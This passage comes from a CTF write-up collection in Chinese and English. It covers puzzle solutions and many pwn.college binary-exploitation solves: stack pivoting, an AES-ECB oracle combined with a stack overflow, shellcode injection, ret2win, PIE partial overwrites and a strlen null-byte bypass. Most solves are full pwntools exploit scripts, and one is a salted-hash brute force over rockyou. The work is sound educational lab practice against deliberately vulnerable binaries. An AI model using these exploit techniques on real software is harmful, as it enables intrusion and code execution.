stage2 = asm("nop;" * 6 + shellcraft.cat("/flag"))
p.send(stage2)

p.interactive()

OSINT II

TIFFANY&Co.

Halloween Day 3 - Python Obfuscation

多层 zlib(base64(reverse())) 混淆,递归解包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64
import re
import zlib

payload_bytes = b"" # <- 第一层 payload

layer = 1
while True:
try:
decoded = zlib.decompress(base64.b64decode(payload_bytes[::-1])).decode()
match = re.search(r"b'([^']+)'|b\"([^\"]+)\"", decoded)
if match:
payload_bytes = (match.group(1) or match.group(2)).encode()
layer += 1
else:
print(decoded)
break
except Exception:
print(decoded)
break

print(f"[*] Layer: {layer}")

最终明文是一个逐字符打印脚本,答案藏在变量里:zieltext = "Die Antwort lautet GRABREDE."

GRABREDE

Halloween Day 4 - Scream Cipher

1
ĀA̰Á AÂÃȀÁȂ A̦ÅÄ AȂÁ ĂÅÅẠẢÂA̋ A̮ÅȂ ẢÃ ȦĂÅÅA̱...

Scream Cipher (XKCD)BLOOD

Halloween Day 5 - Hex Colors

6 个弹孔的红色色值,取高位字节:

1
2
#670000 #650000 #660000 #610000 #680000 #720000
67 65 66 61 68 72

from hex → gefahr

Halloween Day 6a - Base64

直接 base64 decode → Bein

Halloween Day 6b - Morse Code

... - .. .-. -...STIRB

Winter Day 1 - View Source

Ctrl+Shift+U 查看源码,答案在被雪覆盖的 <p> 标签中 → snowflake

Winter Day 2 - Base64

QXBlcmxhYXE=Aperlaaq

Winter Day 4 - Wham! Typos

歌词中混入了 prompt injection 和故意拼写错误,提取异常字母:

原文 应为 异常字母
beby baby e
A wrapped I wrapped A
Nor Now r
sowl soul w
rear year r
mover lover m

Earworm

Octopus

A human counts with 10 fingers, an octopus with 8 tentacles. The answer is octopus2471.

2471 (octal) → 1337

Brainfuck?

实际是 JSFuck,Node.js 中 console.log(/* code */) 执行即可。

Host

1
$ curl http://185.26.156.141

响应中 <kbd>aegir.uberspace.de</kbd> 即为答案。

Rockyou

前端 JS 校验 sha256(salt + value),rockyou 字典爆破:

1
2
3
4
5
6
7
8
9
10
11
from hashlib import sha256

salt = "3NL/usjb4vEg"
target = "9bcf0c8289a97d33021b4790659396d9f8af1085210d2186b8ec38efcdc31472"

with open("/path/to/rockyou.txt") as f:
for line in f:
word = line.strip()
if sha256((salt + word).encode()).hexdigest() == target:
print(word)
break

Time Zones

Chameleon 插件修改浏览器时区为 UTC-10。

Free Fall

$$h = \frac{1}{2} g t^2 = \frac{1}{2} \times 9.81 \times 1.43^2$$

Treasure Hunt

  • The largest online encyclopedia → wikipedia
  • Delay to allow data to travel from one point to another → latency
  • A finite, unambiguous set of instructions → algorithm
  • A machine learning model inspired by the human brain’s structure → neural network

UTF-5

□ = 0, ■ = 1,5-bit 编码(1=A, 2=B, …):

编码 二进制 字母
□■■□□ 01100 12 L
□■■■■ 01111 15 O
□□□■■ 00011 3 C
□■□□□ 01000 8 H
□■□■■ 01011 11 K
□□□□■ 00001 1 A
■□□■□ 10010 18 R
■□■□□ 10100 20 T
□□■□■ 00101 5 E

LOCHKARTE

Alphabet - Control Characters

ASCII contains an alphabet of uppercase letters and one of lowercase letters. But there is also a third, which is used in this file.

控制字符 = 第 N 个字母,空格保持:

1
2
3
$ xxd a
00000000: 1420 2020 010e 2020 2020 2009 2020 2020 . .. .
00000010: 0e14 2020 0c0a .. ..
字节 字母
0x14 20 T
0x01 1 A
0x0e 14 N
0x09 9 I
0x0e 14 N
0x14 20 T
0x0c 12 L

T _ _ _ A N _ _ _ _ _ I _ _ _ _ N T _ _ Lcontrol

Honey Morello - Zero-Width Steganography

文本中藏有 zero-width characters(U+200B = 0, U+200C = 1),每行提取后按 5-bit 解码:

1
2
3
4
5
6
7
8
9
for line in text.split("\n"):
bits = ""
for ch in line:
if ch == "\u200b":
bits += "0"
elif ch == "\u200c":
bits += "1"
if bits and (val := int(bits, 2)):
print(chr(96 + val), end="")

the answer is meme

Mental Arithmetic

15 道限时算术题,JS 自动填充:

1
2
3
4
5
for (let i = 0; i < 15; i++) {
let task = document.getElementById("task" + i).innerText.replace("=", "").trim();
document.getElementById("ans" + i).value = eval(task);
}
document.forms[0].submit();

Base4096

Emoji 编解码:https://base4096.infinityfreeapp.com/?i=1

Transposed - Rail Fence Cipher

Rail Fence Cipher decode, key = 4

challenges

Game 20

1
reverseme: ELF 32-bit LSB executable, Intel i386, statically linked, not stripped

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __cdecl main(int argc, const char **argv, const char **envp)
{
_BYTE s[30]; // [ebp-2Eh]
int v5; // [ebp-34h] BYREF
unsigned int v7;

if ( argc > 1 || strcmp(*argv, "./suninatas") ) // 必须重命名为 suninatas
return 0;
// 清空所有环境变量
for ( i = 0; envp[i]; ++i )
for ( j = 0; j < strlen(envp[i]); ++j )
envp[i][j] = 0;

_isoc99_scanf("%30s", s);
v7 = Base64Decode(s, &v5);
if ( v7 <= 0xC ) // 解码后最多 12 字节
{
memcpy(&input, v5, v7); // 拷贝到 BSS 段全局变量 input
if ( auth(v7) == 1 )
correct();
}
}

_BOOL4 __cdecl auth(int a1)
{
_BYTE v2[8]; // [ebp-14h]
char *s2; // [ebp-Ch]
int v4; // [ebp-8h] BYREF <-- 关键:距 saved ebp 仅 8 字节

// buffer overflow
memcpy(&v4, &input, a1); // 12 字节拷贝:8 字节填满 v4,4 字节溢出覆盖 saved ebp
s2 = (char *)calc_md5((int)v2, 12);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

void __noreturn correct()
{
if ( input == 0xDEADBEEF )
IO_puts("Congratulation! you are good!");
exit(0);
}

Analysis

限制条件:

  • 文件必须重命名为 suninatasstrcmp(*argv, "./suninatas")
  • Base64 解码后最多 12 字节,无法直接覆盖 return address(需要 12+4=16 字节)

Stack Pivot

authv4 位于 [ebp-8h]memcpy 拷入 12 字节时:

1
2
3
4
[ebp-8h] v4       ← bytes 0-3
[ebp-4h] ← bytes 4-7
[ebp+0h] saved ebp ← bytes 8-11 (被覆盖!)
[ebp+4h] ret addr ← 无法触及

虽然无法直接控制 return address,但可以控制 saved ebp,利用 leave; ret 的链式效应实现栈迁移:

  1. authleave 恢复了被篡改的 ebp 给 main
  2. main 结束时执行 leavemov esp, ebp; pop ebp)— esp 被迁移到 &input
  3. main 执行 ret — 从 &input + 4 弹出值作为 EIP

Payload 结构

12 字节 = 3 个 DWORD(little-endian):

Offset 作用
0-3 0xDEADBEEF mainpop ebp 读取,同时满足 correct()input == 0xDEADBEEF
4-7 &correct (0x0804925f) mainret 弹入 EIP
8-11 &input (0x0811c9ec) 覆盖 auth 的 saved ebp,触发栈迁移

Exploit

获取地址(statically linked,地址固定):

1
2
3
$ objdump -t ./suninatas | grep -E ' (correct|input)$'
0811c9ec g O .bss 0000000d input
0804925f g F .text 00000031 correct

生成 payload:

1
2
python -c "import base64, struct; print(base64.b64encode(struct.pack('<III', 0xDEADBEEF, 0x0804925f, 0x0811c9ec)).decode())"
****************

because

1
memcpy(&input, v5, v7);  // 拷贝到 BSS 段全局变量 input

&input + 0 (前 4 字节): 0xDEADBEEF

&input + 4 (中 4 字节): 0x0804925f (&correct 的绝对地址)

&input + 8 (后 4 字节): 0x0811c9ec (&input 的绝对地址)

1
memcpy(&v4, &input, a1);  // 12 字节拷贝:8 字节填满 v4,4 字节溢出覆盖 saved ebp

[ebp-8] 到 [ebp-5]: 填入 0xDEADBEEF

[ebp-4] 到 [ebp-1]: 填入 0x0804925f

[ebp+0] 到 [ebp+3]: 填入 0x0811c9ec (&input) <-saved ebp

when auth calls leave; ret to return to main

mov esp, ebp: esp = ebp -> &input

pop ebp: esp -> ebp + 4 = &input + 4 and put 0xDEADBEEF into ebp

ret (pop eip): eip -> esp = &input + 4 = 0x0804925f = &correct

at &correct check input == 0xDEADBEEF

1
2
3
4
$ ./suninatas
Authenticate : ****************
hash : d932bf2657c20fd638787756d680c95c
Congratulation! you are good!
776t3l+SBAjsyREI

同 easy 版本的 dispatch oracle 和 ECB block-by-block 加密策略,区别在于没有 stack dump 提示,需要手动逆向 offset。

Analysis

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win" /challenge/vulnerable-overflow

关键溢出点:

1
2
3
4
5
6
; plaintext struct 起始于 s1 = rbp - 0x60
│ 0x0040173b lea rsi, [s1] ; rbp - 0x60
; message buffer = s1 + 0x10 (跳过 8 字节 header + 8 字节 length)
│ 0x0040173f add rsi, 0x10 ; rbp - 0x50
; buffer overflow: 无长度限制
│ 0x00401749 call sym.imp.EVP_DecryptUpdate
  • message buffer 起始于 rbp - 0x50
  • saved rbp 在 rbp + 0x00,saved rip 在 rbp + 0x08
  • offset = 0x50 + 0x08 = 88 bytes

sym.win 地址:

1
2
│           0x004013b6      endbr64
│ 0x004013be lea rdi, str.You_win__Here_is_your_flag:

win() = 0x4013b6

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
from Crypto.Util.Padding import pad
from pwn import *

context.log_level = "info"

# 0x50 (buffer to rbp) + 0x08 (saved rbp) = 88
OFFSET = 88
WIN_ADDR = 0x4013b6


def encrypt_block(block_data):
p = process(["/challenge/dispatch"], level="error")
p.send(block_data)
p.shutdown("send")
ct = p.recvall()
p.close()
return ct[16:32]


def build_payload():
p_init = process(["/challenge/dispatch"], level="error")
p_init.send(b"A" * 16)
p_init.shutdown("send")
first_block_ct = p_init.recvall()[:16]
p_init.close()

raw_payload = b"A" * OFFSET + p64(WIN_ADDR)
padded_payload = pad(raw_payload, 16)

final_ct = first_block_ct
for i in range(0, len(padded_payload), 16):
final_ct += encrypt_block(padded_payload[i : i + 16])

log.success(f"Payload length: {len(final_ct)} bytes")
return final_ct


def exploit():
payload = build_payload()
target = process("/challenge/vulnerable-overflow")
target.send(payload)
target.shutdown("send")
print(target.recvall().decode(errors="ignore"))


if __name__ == "__main__":
exploit()

Concepts used: Cryptography + Binary Exploitation

Source

vulnerable-overflow 读取密文,先解密第一个 block 验证 header 和 length,再解密剩余 block 到栈上固定大小的 message[60]。因为 ciphertext_len 没有上限检查,EVP_DecryptUpdate 会直接造成栈溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int challenge(int argc, char **argv, char **envp)
{
unsigned char key[16];
struct
{
char header[8];
unsigned long long length;
char message[60];
} plaintext = {0};

// ... key init, read ciphertext from stdin ...

// verify first block
EVP_DecryptUpdate(ctx, (char *)&plaintext, &decrypted_len, ciphertext, 16);
assert(memcmp(plaintext.header, "VERIFIED", 8) == 0);
assert(plaintext.length <= 16);

// buffer overflow: no bounds check on ciphertext_len
EVP_DecryptUpdate(ctx, plaintext.message, &decrypted_len,
ciphertext + 16, ciphertext_len - 16);
}

dispatch 是加密 oracle,接受最多 16 字节的 message,拼上 VERIFIED header 后用相同 key 的 AES-ECB 加密输出:

1
2
3
4
5
6
7
8
key = open("/challenge/.key", "rb").read()
cipher = AES.new(key=key, mode=AES.MODE_ECB)

message = sys.stdin.buffer.read1()
assert len(message) <= 16, "Your message is too long!"
plaintext = b"VERIFIED" + struct.pack(b"<Q", len(message)) + message
ciphertext = cipher.encrypt(pad(plaintext, cipher.block_size))
sys.stdout.buffer.write(ciphertext)

Analysis

ECB 模式下每个 16 字节 block 独立加密,相同明文 block 产生相同密文 block。因此可以:

  1. 调用 dispatch 获取合法的第一个 block(包含 VERIFIED header)的密文
  2. 将 payload 按 16 字节分块,逐块调用 dispatch 加密
  3. 拼接密文发送给 vulnerable-overflow,解密后得到我们的任意 payload

从 stack dump 中可以看到:

1
2
3
| 0x00007fff9c9fad20 (rsp+0x0040) | message buffer 开始位置
| ... | 120 bytes of 'A' padding
| 0x00007fff9c9fad98 (rsp+0x00b8) | saved return address -> 0x401e96
  • buffer 起始: rsp+0x40,saved rip: rsp+0xb8 → offset = 120 bytes
  • win() 地址: 0x4018f7

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3
from Crypto.Util.Padding import pad
from pwn import *

context.log_level = "info"

OFFSET = 120
WIN_ADDR = 0x4018f7


def encrypt_block(block_data):
"""调用 dispatch 加密单个 16 字节 block,返回对应密文"""
p = process(["/challenge/dispatch"], level="error")
p.send(block_data)
p.shutdown("send") # 必须发送 EOF,否则 read1() 阻塞
ct = p.recvall()
p.close()
return ct[16:32] # 跳过第一个 block (VERIFIED header)


def build_payload():
# 获取合法的第一个 block 密文 (通过 dispatch 加密任意 16 字节 message)
p_init = process(["/challenge/dispatch"], level="error")
p_init.send(b"A" * 16)
p_init.shutdown("send")
first_block_ct = p_init.recvall()[:16]
p_init.close()

raw_payload = b"A" * OFFSET + p64(WIN_ADDR)
padded_payload = pad(raw_payload, 16)

# 逐块加密,拼接密文
final_ct = first_block_ct
for i in range(0, len(padded_payload), 16):
final_ct += encrypt_block(padded_payload[i : i + 16])

log.success(f"Payload length: {len(final_ct)} bytes")
return final_ct


def exploit():
payload = build_payload()
target = process("/challenge/vulnerable-overflow")
target.send(payload)
target.shutdown("send")
print(target.recvall().decode(errors="ignore"))


if __name__ == "__main__":
exploit()

同 easy 版本的 ECB oracle + shellcode 注入,但没有 stack dump,需要手动逆向 offset。

Analysis

1
r2 -A -q -c "pdf @ sym.challenge" /challenge/vulnerable-overflow

关键溢出点:

1
2
3
4
5
6
; plaintext struct 起始于 s1 = rbp - 0x70
│ 0x004016d3 lea rsi, [s1] ; rbp - 0x70
; message buffer = s1 + 0x10 (跳过 header + length)
│ 0x004016d7 add rsi, 0x10 ; rbp - 0x60
; buffer overflow
│ 0x004016e1 call sym.imp.EVP_DecryptUpdate
  • message buffer: rbp - 0x60
  • saved rip: rbp + 0x08
  • offset = 0x60 + 0x08 = 104 bytes (与 easy 版本相同)

Exploit 完全相同,只需对应修改 buffer 地址即可。实际上因为栈地址固定且相同,exploit 代码可以直接复用。

与 ECB-to-Win 类似的 ECB oracle + buffer overflow,但没有 win() 函数,需要注入 shellcode 并跳转执行。栈可执行。

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int challenge(int argc, char **argv, char **envp)
{
unsigned char key[16];
struct
{
char header[8];
unsigned long long length;
char message[48]; // 比 win 版本更小
} plaintext = {0};

// ... 同样的 ECB 解密流程 ...

// buffer overflow
EVP_DecryptUpdate(ctx, plaintext.message, &decrypted_len,
ciphertext + 16, ciphertext_len - 16);

// 会打印反汇编后的 shellcode 和栈布局
print_disassembly(plaintext.message, decrypted_len);
}

Analysis

从 stack dump 中读取关键信息:

1
2
3
| 0x7fffffffec90 (rsp+0x0040) | message buffer 开始 (shellcode 放这里)
| ... | 104 bytes to saved rip
| 0x7fffffffecf8 (rsp+0x00a8) | saved return address
  • buffer 起始: 0x7fffffffec90
  • offset = 0xa8 - 0x40 = 104 bytes
  • 栈地址固定(ASLR 未随机化栈),直接将返回地址覆盖为 buffer 起始地址

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python3
from Crypto.Util.Padding import pad
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "info"

OFFSET = 104
BUFFER_ADDR = 0x7fffffffec90


def encrypt_block(block_data):
p = process(["/challenge/dispatch"], level="error")
p.send(block_data)
p.shutdown("send")
ct = p.recvall()
p.close()
return ct[16:32]


def build_payload():
shellcode = asm(shellcraft.cat("/flag"))

# shellcode + nop sled + return address
raw_payload = shellcode.ljust(OFFSET, b"\x90") + p64(BUFFER_ADDR)

# 获取合法的第一个 block 密文
p_init = process(["/challenge/dispatch"], level="error")
p_init.send(b"\x90" * 16)
p_init.shutdown("send")
first_block_ct = p_init.recvall()[:16]
p_init.close()

padded_payload = pad(raw_payload, 16)
final_ct = first_block_ct
for i in range(0, len(padded_payload), 16):
final_ct += encrypt_block(padded_payload[i : i + 16])

log.success(f"Payload length: {len(final_ct)} bytes")
return final_ct


def exploit():
payload = build_payload()
target = process("/challenge/vulnerable-overflow", env={})
target.send(payload)
target.shutdown("send")
print(target.recvall().decode(errors="ignore"))


if __name__ == "__main__":
exploit()

Your First Overflow (easy)

Buffer 20 bytes, win variable 20 bytes after buffer start. Overflow to set win variable non-zero.

1
2
3
4
5
6
7
hacker@binary-exploitation~your-first-overflow-easy:~$ /challenge/binary-exploitation-first-overflow-w
# buffer at rsp+0x0030, win variable at rsp+0x0040 (20 bytes after buffer)
# send 21+ bytes to overflow into win variable
Send your payload (up to 4096 bytes)!
aaaaaaaaaaaaaaaaaaaaa
You win! Here is your flag:
pwn.college{*******************************************}

Your First Overflow (hard)

1
2
3
4
5
6
7
8
9
10
int challenge(int argc, char **argv, char **envp)
{
struct {
char input[96];
int win_variable;
} data = {0};
// ...
int received = read(0, &data.input, (unsigned long) size);
if (data.win_variable) { win(); }
}

need input 96 bytes + 1 byte to overflow win_variable.

1
2
3
4
5
from pwn import *

p = process('/challenge/binary-exploitation-first-overflow')
p.sendline(b'a' * 96 + b'a')
p.interactive()

pwn.college{*******************************************}

Precision (easy)

Buffer 51 bytes, win variable 52 bytes after buffer. Lose variable 56 bytes after buffer – must not overwrite it.

Send exactly 53 bytes (52 padding + 1 to set win, stop before lose).

1
2
3
4
5
from pwn import *

p = process('/challenge/binary-exploitation-lose-variable-w')
p.sendline(b'a' * 52 + b'a')
p.interactive()

pwn.college{*******************************************gzW}

Precision (hard)

1
r2 -A -q -c "pdf @ sym.challenge" /challenge/binary-exploitation-lose-variable

Key parts of sym.challenge:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
; buffer init: rep stosq with ecx=0xd (13), clearing 13*8=104 bytes
0x004017a9 488d5580 lea rdx, [format] ; buffer start
0x004017b2 b90d000000 mov ecx, 0xd ; 13 iterations
0x004017ba f348ab rep stosq qword [rdi], rax ; memset(buf, 0, 104)
; ...
; read into buffer at [format]
0x004017fe 488d4580 lea rax, [format] ; buf = rbp - 0x80
; ...
; lose check
0x0040184a 8b45e8 mov eax, dword [var_18h] ; lose @ [rbp - 0x18]
0x0040184d 85c0 test eax, eax
; win check
0x00401867 8b45e4 mov eax, dword [var_1ch] ; win @ [rbp - 0x1c]
0x0040186a 85c0 test eax, eax
  • var_1ch -> [rbp - 0x1c]h 代表 Hex。
  • var_18h -> [rbp - 0x18]

Win 变量 [rbp - 0x1c]Lose 变量 [rbp - 0x18]

Buffer init 用 rep stosqmemset(buffer, 0, size)

  • stosq: 把 rax (0) 写入 rdi 指向的地址,每次 8 bytes。
  • rep 配合 ecx = 0xd (13),循环 13 次。
  • 13 * 8 = 104 bytes

已知 Lose 变量位于 [rbp - 0x18]。Buffer 起点位置 = Lose 变量往上推 104 字节。

0x18 + 104 (即 0x68) = 0x80

Buffer 起点 [rbp - 0x80],到 [rbp - 0x1c] = 100 bytes,接下来 4 bytes 是 Win 变量。

1
2
3
4
5
from pwn import *

p = process('/challenge/binary-exploitation-lose-variable')
p.sendline(b'a' * 100 + b'a')
p.interactive()

pwn.college{*******************************************gzW}

Variable Control (easy)

Buffer 29 bytes, win variable 32 bytes after buffer (must set to 0x5a71653b). Lose variable 36 bytes after buffer.

1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-var-control-w')
padding = b'A' * 32
win_val = p32(0x5a71653b)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************W}

Variable Control (hard)

1
r2 -A -q -c "pdf @ sym.challenge" /challenge/binary-exploitation-var-control

Key parts of sym.challenge:

1
2
3
4
5
6
7
8
9
10
11
12
; buffer init: rep stosq with ecx=0xb (11), 11*8=88 bytes
0x00402331 488d5590 lea rdx, [format] ; buffer start
0x0040233a b90b000000 mov ecx, 0xb ; 11 iterations
0x00402342 f348ab rep stosq qword [rdi], rax ; memset(buf, 0, 88)
; ...
; read into buffer at [format] = rbp - 0x70
; ...
; lose check @ [rbp - 0x18]
0x004023c0 8b45e8 mov eax, dword [var_18h]
; win check @ [rbp - 0x1c], must equal 0x16630978
0x004023dd 8b45e4 mov eax, dword [var_1ch]
0x004023e0 3d78096316 cmp eax, 0x16630978
1
2
3
4
>>> 88 + 0x18   # buffer size + lose offset from end
112
>>> 112 - 0x1c # distance to win variable
84
1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-var-control')
padding = b'A' * 84
win_val = p32(0x16630978)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************W}

Control Hijack (easy)

No win variable. Overflow return address to jump to win() at 0x401e1d. Buffer starts 88 bytes before return address. Canary disabled, no PIE.

1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-control-hijack-w')
padding = b'A' * 59 + b'B' * 29 # 88 bytes to reach return address
win_val = p32(0x401e1d)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************}

Control Hijack (hard)

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win" /challenge/binary-exploitation-control-hijack

Key parts of sym.challenge:

1
2
3
4
5
6
; buf -> rbp - 0x60
0x00401e5d 488d45a0 lea rax, [buf]
0x00401e61 4889c6 mov rsi, rax ; read into buf
; ...
0x00401eb4 c9 leave
0x00401eb5 c3 ret

sym.win 入口: 0x00401cb9

在 x86_64 架构下,当一个函数被调用时,返回地址 (Return Address) 压入栈中。溢出覆盖返回地址为 sym.win,当 sym.challenge 执行 ret 时 CPU 跳去执行 win 函数。这叫 Ret2Win

  1. 输入缓冲区起点: rbp - 0x60

use r2 -A to analyze, default asm.var = true, visual mode shows variable names

  1. 到达返回地址的距离:
    • 覆盖局部变量: 96 字节 到达 rbp
    • 跨过 Saved RBP: 8 字节
    • Padding = 96 + 8 = 104 字节
  2. sym.win 入口: 0x00401cb9
1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-control-hijack')
padding = b'A' * 96 + b'B' * 8
win_val = p32(0x401cb9)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************}

Tricky Control Hijack (easy)

win_authed(int token) requires token == 0x1337, but we can bypass the check by jumping past it.

Buffer 31 bytes, return address 56 bytes after buffer. Canary disabled, no PIE.

1
r2 -A -q -c "pdf @ sym.win_authed" /challenge/binary-exploitation-control-hijack-2-w
1
2
3
4
0x00402031      817dfc3713..   cmp dword [var_4h], 0x1337
0x00402038 0f85fe000000 jne 0x40213c
; jump past the check to here:
0x0040203e 488d3dab10.. lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-control-hijack-2-w')
padding = b'A' * 31 + b'B' * 25 # 56 bytes
win_val = p32(0x0040203e)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************}

Tricky Control Hijack (hard)

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win_authed" /challenge/binary-exploitation-control-hijack-2
1
2
3
4
5
6
7
8
; sym.challenge: buf -> rbp - 0x40
0x0040157d 488d45c0 lea rax, [buf]

; sym.win_authed: jump past auth check
0x00401401 817dfc3713.. cmp dword [var_4h], 0x1337
0x00401408 0f85fe000000 jne 0x40150c
; ret to here:
0x0040140e 488d3df30b.. lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
from pwn import *

p = process('/challenge/binary-exploitation-control-hijack-2')
padding = b'A' * 0x40 + b'B' * 8
win_val = p32(0x0040140e)
p.send(padding + win_val)
p.interactive()

pwn.college{*******************************************}

PIEs (easy)

Position Independent Executable – Partial Overwrite

1. PIE 与内存分页 (Memory Paging)

开启了 PIE,Kernel 会在每次执行时,把 binary 塞到内存中一个完全随机的位置 (ASLR)。

但 Kernel 按 Page (页) 管理内存:

  • 一个 Memory Page = 0x1000 bytes (4KB)
  • 基址 (Base Address) 永远是 0x1000 的倍数
  • 最后三个 nibbles 永远是 000(例如 0x5f7be1ec2000

2. 偏移量 (Offset) 不变

虽然基址在变,但 win() 在 binary 内部的相对位置 (Offset) 编译时就决定了。 假设 win() offset 为 0x1337

  • 基址 0x5f7be1ec2000 -> win() = 0x5f7be1ec3337
  • 基址 0x6513a3b67000 -> win() = 0x6513a3b68337

最后三个 nibbles (337) 不变。

3. Partial Overwrite 与 Little-Endian

Little-Endian 下 Return Address 最低有效字节在最低地址,溢出时从最低字节开始覆盖:

  1. 改 1 字节 (2 nibbles): 不受 ASLR 影响,100% 成功
  2. 改 2 字节 (4 nibbles): 前 3 nibbles 固定,第 4 nibble 随机。一个 nibble 16 种可能,每次 $\frac{1}{16}$ 概率。

n 次至少成功一次:

$$P = 1 - \left(\frac{15}{16}\right)^n$$

  • 跑 11 次 50%
  • 跑 36 次 90%
1
r2 -A -q -c "pdf @ sym.win_authed" /challenge/binary-exploitation-pie-overflow-w
1
2
3
; buf -> rbp - 0x40, return address at rbp + 8, padding = 0x40 + 8 = 72 bytes
; jump past auth check:
0x00001a2b 488d3dbe16.. lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
import itertools

binary_path = "/challenge/binary-exploitation-pie-overflow-w"
padding = b"A" * 0x40 + b"B" * 8

for count in itertools.count():
p = process(binary_path)
payload = padding + p16(0x1A2B)
p.send(payload)
output = p.clean(timeout=0.114514)

if b"pwn.college{" in output:
print(f"[+] Try {count}")
print(output.decode('utf-8', errors='ignore'))
p.close()
break
p.close()

pwn.college{*******************************************}

PIEs (hard)

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win_authed" /challenge/binary-exploitation-pie-overflow
1
2
3
4
5
6
7
8
; sym.challenge: buf -> rbp - 0x90
0x00001ee3 488d8570ff.. lea rax, [buf]

; sym.win_authed: jump past auth check
0x00001cfb 817dfc3713.. cmp dword [var_4h], 0x1337
0x00001d02 0f85fe000000 jne 0x1e06
; ret to here -> 0x1d08
0x00001d08 488d3df912.. lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
import itertools

binary_path = "/challenge/binary-exploitation-pie-overflow"
padding = b"A" * 0x90 + b"B" * 8

for count in itertools.count():
p = process(binary_path)
payload = padding + p16(0x1d08)
p.send(payload)
output = p.clean(timeout=0.114514)

if b"pwn.college{" in output:
print(f"[+] Try {count}")
print(output.decode('utf-8', errors='ignore'))
p.close()
break
p.close()

pwn.college{*******************************************}

String Lengths (easy)

Buffer 120 bytes, return address 168 bytes after buffer. PIE enabled, canary disabled.

Challenge uses strlen() to validate input length before copying to stack. But strlen() stops at the first \x00 (Null Byte).

在 C 语言中,字符串以 \x00 结尾。strlen() 碰到第一个 \x00 就停止计数。 在 payload 开头放一个 \x00strlen() 判定长度为 0,绕过长度检查。

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win_authed" /challenge/binary-exploitation-null-write-w
1
2
3
4
5
6
7
; string_length < 120 assertion
0x00002b62 488d3d6d13.. lea rdi, str.string_length___120

; win_authed: jump past auth check -> 0x00002522
0x00002515 817dfc3713.. cmp dword [var_4h], 0x1337
0x0000251c 0f85fe000000 jne 0x2620
0x00002522 488d3dc70b.. lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
import itertools

binary_path = "/challenge/binary-exploitation-null-write-w"
padding = b"\x00" + b"A" * 167 # 168 bytes total (null + 167 padding)

for count in itertools.count():
p = process(binary_path)
payload = padding + p16(0x2522)
p.send(payload)
output = p.clean(timeout=0.114514)

if b"pwn.college{" in output:
print(f"[+] Try {count}")
print(output.decode('utf-8', errors='ignore'))
p.close()
break
p.close()

pwn.college{*******************************************}

String Lengths (hard)

1
r2 -A -q -c "pdf @ sym.challenge; pdf @ sym.win_authed" /challenge/binary-exploitation-null-write
1
2
3
4
5
6
7
8
9
10
11
; sym.challenge:
; malloc tmp buffer, read into it, strlen check, then memcpy to stack
; buf on stack -> s1 = rbp - 0xa0
0x00001607 488d8560ff.. lea rax, [s1]
; string_length < 113 assertion (0x70 = 112, jbe means <= 112)
0x000015f1 488d3d7e0b.. lea rdi, str.string_length___113

; win_authed: jump past auth -> 0x000013ad
0x000013a0 817dfc3713.. cmp dword [var_4h], 0x1337
0x000013a7 0f85fe000000 jne 0x14ab
0x000013ad 488d3d540c.. lea rdi, str.You_win__Here_is_your_flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
import itertools

binary_path = "/challenge/binary-exploitation-null-write"
# 0xa0 + 8 - 1 = 167 bytes after null
padding = b"\x00" + b"A" * 167

for count in itertools.count():
p = process(binary_path)
payload = padding + p16(0x13ad)
p.send(payload)
output = p.clean(timeout=0.114514)

if b"pwn.college{" in output:
print(f"[+] Try {count}")
print(output.decode('utf-8', errors='ignore'))
p.close()
break
p.close()

pwn.college{*******************************************W}

Basic Shellcode

Shellcode copied onto stack and executed. Stack location randomized, so shellcode must be position-independent.

1
2
3
4
5
6
7
8
9
from pwn import *

context.update(arch="amd64", os="linux")

p = process("/challenge/binary-exploitation-basic-shellcode")
p.send(asm(shellcraft.cat("/flag")))
p.interactive()

# pwn.college{*******************************************}

NOP Sleds

NOP (No Operation) opcode \x90:什么都不做,仅把 RIP 向前移动一个字节。

